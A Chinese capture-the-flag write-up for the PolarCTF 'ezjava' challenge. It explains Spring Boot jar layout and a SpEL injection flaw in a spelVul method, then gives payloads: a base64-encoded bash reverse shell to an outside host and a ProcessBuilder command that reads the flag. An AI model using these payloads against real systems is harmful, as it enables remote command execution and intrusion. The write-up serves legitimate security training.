【PolarCTF】ezjava

可以使用IDEA加载
创建一件lib目录,然后把jar放进去,右键【添加为库】

点击确定

即可看到代码

也可以使用jd

基础知识

BOOT-INF:存放的是自己的项目代码和所有第三方依赖jar
BOOT-INF/classes:你写的代码编译后的class文件,yml/properties配置、静态资源、模板文件
BOOT-INF/lib:第三方依赖jar包
org.springframework.boot.loader:SpringBoot自定义类加载器
META-INF:jar自带的元信息目录,最重要的文件是MANIFEST.MF清单文件
SpringBoot 打包后的MANIFEST.MF里面会写两行关键配置:
Main-Class: org.springframework.boot.loader.JarLauncher Start-Class: com.xxx.你的项目主启动类

  • Main‑Class:告诉 JVM,java‑jar启动时入口是JarLauncher(loader 里面的类),不是你的 main。
  • Start‑Class:记录你自己写的 SpringBoot 主类,JarLauncher读到这个值,再反射调用你的 main 方法。
    Jar包的启动流程:
  1. 执行java -jar demo.jar,JVM 读取META‑INF/MANIFEST.MF,找到Main‑Class=JarLauncher
  2. JVM 运行org.springframework.boot.loader.JarLauncher
  3. JarLauncher 创建自定义类加载器,扫描加载BOOT‑INF/lib下所有嵌套 jar、BOOT‑INF/classes你的代码
  4. 读取Start‑Class,反射执行你项目的 main 函数,SpringBoot 应用正式跑起来。

SPEL注入漏洞

SpelExpressionParser函数

通过阅读代码可以看到spelVul函数接收一个ex参数
同时还实例化了一个SpelExpressionParser函数,并且对ex参数进行解析执行
那么我们就可以通过ex来进行任意命令执行

复制代码
public String spelVul(String ex) {
    // 创建SpEL表达式解析器对象
    ExpressionParser parser = new SpelExpressionParser();
    // 创建SpEL的运行求值上下文环境
    EvaluationContext evaluationContext = new StandardEvaluationContext();
    // 解析传入的字符串ex为SpEL表达式,在上下文执行,获取返回对象,转字符串
    String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
    // 打印执行结果
    System.out.println(result);
    return result;
}

我们进行测试下,发现可以成功执行我们输入的表达式

下面是攻击的payload,由于靶机不出网,所以我们直接读取flag即可

复制代码
# 反弹shell
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zMzc0xMDcuMTEzLjIjJiE1MC85MDAyIIDA+JjE=}|{base64,-d}|{bash,-i}")
# 读取flag
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag*"}).start().getInputStream(), "gbk")).readLine()

这里注意要用Max hackbar这个插件发送才行,也不知道为啥,试了burp抓包和hackbar都是会400
Max hackbar: https://github.com/mr-bipolar/hackbar
浏览器用的FireFox Developer

相关推荐
anqianqi1238 小时前
上网行为监控系统怎么落地:上网行为监控软件能管哪几件事
运维·安全·网络安全·电脑
数据知道8 小时前
密钥管理(KMS)——轮换、分级、HSM 硬件安全模块
网络安全·密码学·哈希算法
huaqisafty1 天前
网络赌博治安治理难点解析
网络安全·华企盾·社会治安治理·网赌赌博治理
顾城猿1 天前
zk‑SNARK 三者结合的完整工作原理
网络安全
数据知道1 天前
国密算法实战——SM2/SM3/SM4 在国产系统中的应用
网络·算法·安全·网络安全·密码学·哈希算法
Eason_LYC1 天前
你天天用的AI工具,藏着无需登录的高危后门 CVE-2025-3248
网络安全·渗透测试·漏洞复现·白帽子·langflow·远程代码执行·cve-2025-3248
隐擎fox1 天前
跨越传输层防线:深入 TCP/IP 协议栈指纹(p0f)原理与 Python 原始套接字检测实战
python·网络协议·tcp/ip·网络安全·dns
学逆向的1 天前
inilne HOOK
前端·网络安全·hook
持敬chijing1 天前
CentOS 从零搭建 LAMP 环境完整实战指南
linux·运维·web安全·网络安全·centos
Chengbei111 天前
红队新工具 ToShell 解析:自带 Web 控制台,AES+SM4 国密加密,载荷随机免杀,自主 Agent 自动完成渗透任务
人工智能·tcp/ip·安全·web安全·http·网络安全·系统安全